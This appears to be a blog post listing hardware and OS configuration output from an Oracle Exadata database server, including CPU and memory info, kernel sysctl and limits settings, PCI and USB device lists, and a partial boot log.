Exadata Server Hardware Details

Exadata Server Hardware Details:

[oracle@maclean01 ~]$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 26
model name      : Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz
stepping        : 5
cpu MHz         : 2527.101
cache size      : 8192 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 11
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush
dts acpi mmx fxsr sse sse2 ss ht tm syscall nx rdtscp lm constant_tsc ida nonstop_tsc pni monitor
ds_cpl vmx est tm2 cx16 xtpr popcnt lahf_lm
bogomips        : 5057.83
clflush size    : 64
cache_alignment : 64
address sizes   : 40 bits physical, 48 bits virtual
power management: [8]

[oracle@maclean01 ~]$ cat /proc/meminfo
MemTotal:     74027752 kB
MemFree:       3911016 kB
Buffers:        842416 kB
Cached:       48064504 kB
SwapCached:       4984 kB
Active:       46733632 kB
Inactive:     10013672 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:     74027752 kB
LowFree:       3911016 kB
SwapTotal:    16771852 kB
SwapFree:     16617108 kB
Dirty:           25944 kB
Writeback:           0 kB
AnonPages:     7832000 kB
Mapped:       29202808 kB
Slab:          1834104 kB
PageTables:   11127904 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:  53785728 kB
Committed_AS: 49850764 kB
VmallocTotal: 34359738367 kB
VmallocUsed:    290128 kB
VmallocChunk: 34359447675 kB
HugePages_Total:     0
HugePages_Free:      0
HugePages_Rsvd:      0
Hugepagesize:     2048 kB

[oracle@maclean01 ~]$ cat /etc/sysctl.conf
# Kernel sysctl configuration file for Red Hat Linux
#
# For binary values, 0 is disabled, 1 is enabled.  See sysctl(8) and
# sysctl.conf(5) for more details.

# Controls IP packet forwarding
net.ipv4.ip_forward = 0

# Controls source route verification
net.ipv4.conf.default.rp_filter = 1

# Do not accept source routing
net.ipv4.conf.default.accept_source_route = 0

# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 1

# Controls whether core dumps will append the PID to the core filename
# Useful for debugging multi-threaded applications
kernel.core_uses_pid = 1

# Controls the use of TCP syncookies
net.ipv4.tcp_syncookies = 1

# Controls the maximum size of a message, in bytes
kernel.msgmnb = 65536

# Controls the default maxmimum size of a mesage queue
kernel.msgmax = 65536

# Controls the maximum shared segment size, in bytes
kernel.shmmax = 68719476736

# Controls the maximum number of shared memory segments, in pages
kernel.shmall = 4294967296

########### BEGIN DO NOT REMOVE Added by Oracle Exadata ###########
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
# bug 8311668 file-max and aio-max-nr
fs.file-max = 6815744
# DB install guide says the above
fs.aio-max-nr = 1048576
# 8976963
net.ipv4.neigh.bond0.locktime=0
net.ipv4.ip_local_port_range = 9000 65500
# DB install guide says the above
net.core.rmem_default = 4194304
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 2097152
# The original DB deployment was net.core.wmem_max = 1048586 but IB works
# best for Exadata at the above net.core settings
# bug 8268393 remove vm.nr_hugepages = 2048
# bug 8778821 system reboots after 60 sec on panic
kernel.panic=60
########### END DO NOT REMOVE Added by Oracle Exadata ###########

########### BEGIN DO NOT REMOVE Added by Oracle Exadata ###########
kernel.shmmax = 64547735961
kernel.shmall = 15758724
########### END DO NOT REMOVE Added by Oracle Exadata ###########

[oracle@maclean01 ~]$ cat /etc/security/limits.conf
# /etc/security/limits.conf
#
#Each line describes a limit for a user in the form:
#
#
#
#Where:
# can be:
#        - an user name
#        - a group name, with @group syntax
#        - the wildcard *, for default entry
#        - the wildcard %, can be also used with %group syntax,
#                 for maxlogin limit
#
# can have the two values:
#        - "soft" for enforcing the soft limits
#        - "hard" for enforcing hard limits
#
# can be one of the following:
#        - core - limits the core file size (KB)
#        - data - max data size (KB)
#        - fsize - maximum filesize (KB)
#        - memlock - max locked-in-memory address space (KB)
#        - nofile - max number of open files
#        - rss - max resident set size (KB)
#        - stack - max stack size (KB)
#        - cpu - max CPU time (MIN)
#        - nproc - max number of processes
#        - as - address space limit
#        - maxlogins - max number of logins for this user
#        - maxsyslogins - max number of logins on the system
#        - priority - the priority to run user process with
#        - locks - max number of file locks the user can hold
#        - sigpending - max number of pending signals
#        - msgqueue - max memory used by POSIX message queues (bytes)
#        - nice - max nice priority allowed to raise to
#        - rtprio - max realtime priority
#
#
#

#*               soft    core            0
#*               hard    rss             10000
#@student        hard    nproc           20
#@faculty        soft    nproc           20
#@faculty        hard    nproc           50
#ftp             hard    nproc           0
#@student        -       maxlogins       4

########### BEGIN DO NOT REMOVE Added by Oracle Deployment Scripts ###########

oracle     soft    nproc       2047
oracle     hard    nproc       16384
oracle     soft    nofile      65536
oracle     hard    nofile      65536

########### END DO NOT REMOVE Added by Oracle Deployment Scripts ###########
# End of file

[oracle@maclean01 ~]$ cat /etc/hosts
### Only  consider using this file if the customer does not have any DNS
# If the customer has DNS DO NOT USE THIS FILE
# you will have to decide on which scan address to uncomment - choose only  1

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1   localhost.localdomain   localhost

### Compute Node [eth0] Interface details
### Compute Node Client Access [bond1] Interface details
### Compute Node Client Access VIP [bond1] Interface details
### Compute Node Client Access SCAN [bond1] Interface details
### Cell Node Admin [eth0] Interface details
### Compute and Cell ILOM [ilom] Interface details
### Switches on Admin [eth0] Network
### Compute Node Private Interface details
### CELL Node Private Interface details
### Compute Node Private Interface details
### CELL Node Private Interface details
### Switch details
# The following 5 IP addresses are for reference only. You may
# not be able to reach these IP addresses from this machine

[oracle@maclean01 ~]$ /sbin/lspci
00:00.0 Host bridge: Intel Corporation X58 I/O Hub to ESI Port (rev 13)
00:01.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 1 (rev 13)
00:02.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 2 (rev 13)
00:03.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 3 (rev 13)
00:07.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 7 (rev 13)
00:09.0 PCI bridge: Intel Corporation X58 I/O Hub PCI Express Root Port 9 (rev 13)
00:13.0 PIC: Intel Corporation X58 I/O Hub I/OxAPIC Interrupt Controller (rev 13)
00:14.0 PIC: Intel Corporation X58 I/O Hub System Management Registers (rev 13)
00:14.1 PIC: Intel Corporation X58 I/O Hub GPIO and Scratch Pad Registers (rev 13)
00:14.2 PIC: Intel Corporation X58 I/O Hub Control Status and RAS Registers (rev 13)
00:14.3 PIC: Intel Corporation X58 I/O Hub Throttle Registers (rev 13)
00:16.0 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.1 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.2 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.3 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.4 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.5 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.6 System peripheral: Intel Corporation X58 Chipset QuickData Technology Device (rev 13)
00:16.7 System peripheral: Intel Corporation DMA Engine (rev 13)
00:1a.0 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4
00:1a.1 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5
00:1a.2 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6
00:1a.7 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2
00:1d.0 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1
00:1d.1 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2
00:1d.2 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3
00:1d.7 USB Controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1
00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90)
00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) LPC Interface Controller
00:1f.2 SATA controller: Intel Corporation 82801JI (ICH10 Family) SATA AHCI Controller
00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller
01:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
01:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
07:00.0 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
07:00.1 Ethernet controller: Intel Corporation 82575EB Gigabit Network Connection (rev 02)
0d:00.0 RAID bus controller: LSI Logic / Symbios Logic Unknown device 0079 (rev 03)
19:00.0 InfiniBand: Mellanox Technologies MT26428 [ConnectX IB QDR, PCIe 2.0 5GT/s] (rev a0)
1f:05.0 VGA compatible controller: ASPEED Technology, Inc. AST2000 (rev 10)

[oracle@maclean01 ~]$ uname -a
Linux maclean01.shmcc.com 2.6.18-128.1.16.0.1.el5 #1 SMP Tue Jun 30 16:48:30 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux

[oracle@maclean01 ~]$ uname -r
2.6.18-128.1.16.0.1.el5

[oracle@maclean01 ~]$ /sbin/lsusb
Bus 003 Device 006: ID 046b:ff10 American Megatrends, Inc.
Bus 003 Device 001: ID 0000:0000
Bus 005 Device 001: ID 0000:0000
Bus 005 Device 002: ID 0624:0307 Avocent Corp.
Bus 004 Device 001: ID 0000:0000
Bus 008 Device 001: ID 0000:0000
Bus 008 Device 002: ID 04b4:6560 Cypress Semiconductor Corp. CY7C65640 USB-2.0 "TetraHub"
Bus 006 Device 001: ID 0000:0000
Bus 007 Device 009: ID 046b:ff01 American Megatrends, Inc.
Bus 007 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000  

[oracle@maclean01 ~]$ dmesg
Linux version 2.6.18-128.1.16.0.1.el5 (mockbuild@ca-build9.us.oracle.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Tue Jun 30 16:48:30 EDT 2009
Command line: root=LABEL=oracle ro bootarea=oracle rhgb debug console=ttyS0,115200n8 console=tty1 crashkernel=128M@16M numa=off
BIOS-provided physical RAM map:
 BIOS-e820: 0000000000000000 - 000000000009ac00 (usable)
 BIOS-e820: 000000000009ac00 - 00000000000a0000 (reserved)
 BIOS-e820: 00000000000e0000 - 0000000000100000 (reserved)
 BIOS-e820: 0000000000100000 - 000000007f780000 (usable)
 BIOS-e820: 000000007f78e000 - 000000007f790000 type 9
 BIOS-e820: 000000007f790000 - 000000007f79e000 (ACPI data)
 BIOS-e820: 000000007f79e000 - 000000007f7d0000 (ACPI NVS)
 BIOS-e820: 000000007f7d0000 - 000000007f7e0000 (reserved)
 BIOS-e820: 000000007f7ec000 - 0000000080000000 (reserved)
 BIOS-e820: 00000000e0000000 - 00000000f0000000 (reserved)
 BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved)
 BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved)
 BIOS-e820: 0000000100000000 - 0000001280000000 (usable)
DMI present.
ACPI: RSDP (v002 SUN                                   ) @ 0x00000000000fa3e0
ACPI: XSDT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790100
ACPI: FADT (v004 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790290
ACPI: MADT (v002 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790390
ACPI: MCFG (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f7904c0
ACPI: SLIT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790500
ACPI: SPMI (v005 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f790530
ACPI: OEMB (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79e040
ACPI: HPET (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a580
ACPI: DMAR (v001 SUN    Xxx70    0x00000001 MSFT 0x00000097) @ 0x000000007f79e100
ACPI: SRAT (v001 SUN    Xxx70    0x00000001 INTC 0x00000001) @ 0x000000007f79a5c0
ACPI: SSDT (v001  SUN   Xxx70    0x00000012 INTL 0x20051117) @ 0x000000007f7a32b0
ACPI: EINJ (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a790
ACPI: BERT (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a920
ACPI: ERST (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79a950
ACPI: HEST (v001 SUN    Xxx70    0x20090619 MSFT 0x00000097) @ 0x000000007f79ab00
ACPI: DSDT (v002 SUN    Xxx70    0x00000002 INTL 0x20051117) @ 0x0000000000000000
NUMA turned off
Faking a node at 0000000000000000-0000001280000000
Bootmem setup node 0 0000000000000000-0000001280000000
On node 0 totalpages: 18605538
  DMA zone: 2602 pages, LIFO batch:0
  DMA32 zone: 503736 pages, LIFO batch:31
  Normal zone: 18099200 pages, LIFO batch:31
ACPI: PM-Timer IO Port: 0x808
ACPI: Local APIC address 0xfee00000
ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled)
Processor #0 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x02] lapic_id[0x02] enabled)
Processor #2 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x03] lapic_id[0x04] enabled)
Processor #4 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x04] lapic_id[0x06] enabled)
Processor #6 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x05] lapic_id[0x10] enabled)
Processor #16 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x06] lapic_id[0x12] enabled)
Processor #18 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x07] lapic_id[0x14] enabled)
Processor #20 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x08] lapic_id[0x16] enabled)
Processor #22 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x09] lapic_id[0x01] enabled)
Processor #1 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0a] lapic_id[0x03] enabled)
Processor #3 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0b] lapic_id[0x05] enabled)
Processor #5 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0c] lapic_id[0x07] enabled)
Processor #7 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0d] lapic_id[0x11] enabled)
Processor #17 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0e] lapic_id[0x13] enabled)
Processor #19 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x0f] lapic_id[0x15] enabled)
Processor #21 7:10 APIC version 21
ACPI: LAPIC (acpi_id[0x10] lapic_id[0x17] enabled)
Processor #23 7:10 APIC version 21
ACPI: LAPIC_NMI (acpi_id[0xff] high edge lint[0x1])
ACPI: IOAPIC (id[0x08] address[0xfec00000] gsi_base[0])
IOAPIC[0]: apic_id 8, version 32, address 0xfec00000, GSI 0-23
ACPI: IOAPIC (id[0x09] address[0xfec8a000] gsi_base[24])
IOAPIC[1]: apic_id 9, version 32, address 0xfec8a000, GSI 24-47
ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
ACPI: IRQ0 used by override.
ACPI: IRQ2 used by override.
ACPI: IRQ9 used by override.
Setting APIC routing to clustered
ACPI: HPET id: 0xffffffff base: 0xfed00000
Using ACPI (MADT) for SMP configuration information
Nosave address range: 000000000009a000 - 000000000009b000
Nosave address range: 000000000009b000 - 00000000000a0000
Nosave address range: 00000000000a0000 - 00000000000e0000
Nosave address range: 00000000000e0000 - 0000000000100000
Nosave address range: 000000007f780000 - 000000007f78e000
Nosave address range: 000000007f78e000 - 000000007f790000
Nosave address range: 000000007f790000 - 000000007f79e000
Nosave address range: 000000007f79e000 - 000000007f7d0000
Nosave address range: 000000007f7d0000 - 000000007f7e0000
Nosave address range: 000000007f7e0000 - 000000007f7ec000
Nosave address range: 000000007f7ec000 - 0000000080000000
Nosave address range: 0000000080000000 - 00000000e0000000
Nosave address range: 00000000e0000000 - 00000000f0000000
Nosave address range: 00000000f0000000 - 00000000fee00000
Nosave address range: 00000000fee00000 - 00000000fee01000
Nosave address range: 00000000fee01000 - 00000000ffb00000
Nosave address range: 00000000ffb00000 - 0000000100000000
Allocating PCI resources starting at 88000000 (gap: 80000000:60000000)
SMP: Allowing 16 CPUs, 0 hotplug CPUs
Built 1 zonelists.  Total pages: 18605538
Kernel command line: root=LABEL=oracle ro bootarea=oracle rhgb debug console=ttyS0,115200n8
console=tty1 crashkernel=128M@16M numa=off
Initializing CPU#0
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour VGA+ 80x25
Dentry cache hash table entries: 16777216 (order: 15, 134217728 bytes)
Inode-cache hash table entries: 8388608 (order: 14, 67108864 bytes)
Checking aperture...
PCI-DMA: Using software bounce buffering for IO (SWIOTLB)
Placing software IO TLB between 0x150a1000 - 0x190a1000
Memory: 74025464k/77594624k available (2499k kernel code, 1462896k reserved, 1261k data, 200k init)
Calibrating delay using timer specific routine.. 5057.83 BogoMIPS (lpj=2528915)
Security Framework v1.0.0 initialized
SELinux:  Initializing.
SELinux:  Starting in permissive mode
selinux_register_security:  Registering secondary module capability
Capability LSM initialized as secondary
Mount-cache hash table entries: 256
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
using mwait in idle threads.
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 0
CPU0: Thermal monitoring enabled (TM1)
SMP alternatives: switching to UP code
ACPI: Core revision 20060707
Using local APIC timer interrupts.
result 3398092
Detected 3.398 MHz APIC timer.
SMP alternatives: switching to SMP code
Booting processor 1/16 APIC 0x2
Initializing CPU#1
Calibrating delay using timer specific routine.. 5053.96 BogoMIPS (lpj=2526984)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 1
CPU1: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 2/16 APIC 0x4
Initializing CPU#2
Calibrating delay using timer specific routine.. 5053.97 BogoMIPS (lpj=2526986)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 2
CPU2: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 3/16 APIC 0x6
Initializing CPU#3
Calibrating delay using timer specific routine.. 5053.89 BogoMIPS (lpj=2526948)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 3
CPU3: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 4/16 APIC 0x10
Initializing CPU#4
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527005)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 0
CPU4: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 5/16 APIC 0x12
Initializing CPU#5
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527007)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 1
CPU5: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 6/16 APIC 0x14
Initializing CPU#6
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527008)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 2
CPU6: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 7/16 APIC 0x16
Initializing CPU#7
Calibrating delay using timer specific routine.. 5054.02 BogoMIPS (lpj=2527010)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 3
CPU7: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 8/16 APIC 0x1
Initializing CPU#8
Calibrating delay using timer specific routine.. 5054.00 BogoMIPS (lpj=2527002)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 0
CPU8: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 9/16 APIC 0x3
Initializing CPU#9
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527005)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 1
CPU9: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 10/16 APIC 0x5
Initializing CPU#10
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527006)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 2
CPU10: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 11/16 APIC 0x7
Initializing CPU#11
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527006)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 0
CPU: Processor Core ID: 3
CPU11: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 12/16 APIC 0x11
Initializing CPU#12
Calibrating delay using timer specific routine.. 5054.04 BogoMIPS (lpj=2527023)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 0
CPU12: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 13/16 APIC 0x13
Initializing CPU#13
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527008)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 1
CPU13: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 14/16 APIC 0x15
Initializing CPU#14
Calibrating delay using timer specific routine.. 5054.01 BogoMIPS (lpj=2527009)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 2
CPU14: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
SMP alternatives: switching to SMP code
Booting processor 15/16 APIC 0x17
Initializing CPU#15
Calibrating delay using timer specific routine.. 5053.94 BogoMIPS (lpj=2526973)
CPU: L1 I cache: 32K, L1 D cache: 32K
CPU: L2 cache: 256K
CPU: L3 cache: 8192K
CPU: Physical Processor ID: 1
CPU: Processor Core ID: 3
CPU15: Thermal monitoring enabled (TM1)
Intel(R) Xeon(R) CPU           E5540  @ 2.53GHz stepping 05
Brought up 16 CPUs
testing NMI watchdog ... OK.
time.c: Using 14.318180 MHz WALL HPET GTOD HPET/TSC timer.
time.c: Detected 2527.101 MHz processor.
sizeof(vma)=176 bytes
sizeof(page)=56 bytes
sizeof(inode)=560 bytes
sizeof(dentry)=216 bytes
sizeof(ext3inode)=760 bytes
sizeof(buffer_head)=96 bytes
sizeof(skbuff)=240 bytes
migration_cost=2,22,1217
checking if image is initramfs... it is
Freeing initrd memory: 2086k freed
NET: Registered protocol family 16
No dock devices found.
ACPI: bus type pci registered
PCI: Using MMCONFIG at e0000000
ACPI: Interpreter enabled
ACPI: Using IOAPIC for interrupt routing
ACPI: PCI Root Bridge [PCI0] (0000:00)
Boot video device is 0000:1f:05.0
PCI: Transparent bridge - 0000:00:1e.0
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE1._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE2._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE3._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE7._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.NPE9._PRT]
ACPI: PCI Interrupt Routing Table [\_SB_.PCI0.P0P1._PRT]
ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 6 7 *10 11 12 14 15)
ACPI: PCI Interrupt Link [LNKB] (IRQs *5)
ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 6 7 10 11 12 14 *15)
ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 6 7 10 *11 12 14 15)
ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 6 7 10 11 12 14 15) *0, disabled.
ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 6 7 10 11 12 *14 15)
ACPI: PCI Interrupt Link [LNKG] (IRQs 3 4 6 7 10 11 12 14 15) *0, disabled.
ACPI: PCI Interrupt Link [LNKH] (IRQs *3 4 6 7 10 11 12 14 15)
Linux Plug and Play Support v0.97 (c) Adam Belay
pnp: PnP ACPI init
pnp: PnP ACPI: found 15 devices
usbcore: registered new driver usbfs
usbcore: registered new driver hub
PCI: Using ACPI for IRQ routing
PCI: If a device doesn't work, try "pci=routeirq".  If it helps, post a report
NetLabel: Initializing
NetLabel:  domain hash size = 128
NetLabel:  protocols = UNLABELED CIPSOv4
NetLabel:  unlabeled traffic allowed by default
hpet0: at MMIO 0xfed00000 (virtual 0xffffffffff5fe000), IRQs 2, 8, 0, 0
hpet0: 4 64-bit timers, 14318180 Hz
PCI-GART: No AMD northbridge found.
pnp: 00:0a: ioport range 0x400-0x41f has been reserved
PCI: Bridge: 0000:00:01.0
  IO window: b000-bfff
  MEM window: fac00000-facfffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:02.0
  IO window: c000-cfff
  MEM window: fad00000-fadfffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:03.0
  IO window: d000-dfff
  MEM window: fae00000-faefffff
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:07.0
  IO window: disabled.
  MEM window: disabled.
  PREFETCH window: disabled.
PCI: Bridge: 0000:00:09.0
  IO window: disabled.
  MEM window: faf00000-faffffff
  PREFETCH window: f9800000-f9ffffff
PCI: Ignore bogus resource 6 [0:0] of 0000:1f:05.0
PCI: Bridge: 0000:00:1e.0
  IO window: e000-efff
  MEM window: fb000000-fbefffff
  PREFETCH window: disabled.
PCI: Setting latency timer of device 0000:00:01.0 to 64
PCI: Setting latency timer of device 0000:00:02.0 to 64
PCI: Setting latency timer of device 0000:00:03.0 to 64
PCI: Setting latency timer of device 0000:00:07.0 to 64
PCI: Setting latency timer of device 0000:00:09.0 to 64
PCI: Setting latency timer of device 0000:00:1e.0 to 64
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
audit: initializing netlink socket (disabled)
type=2000 audit(1290102048.642:1): initialized
Total HugeTLB memory allocated, 0
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
SELinux:  Registering netfilter hooks
Initializing Cryptographic API
alg: No test for crc32c (crc32c-generic)
ksign: Installing public key data
Loading keyring
- Added public key 105B9C4057F6D166
- User ID: Oracle USA, Inc. (Kernel Module GPG key)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
PCI: Setting latency timer of device 0000:00:01.0 to 64
assign_interrupt_mode Found MSI capability
Allocate Port Service[0000:00:01.0:pcie00]
Allocate Port Service[0000:00:01.0:pcie01]
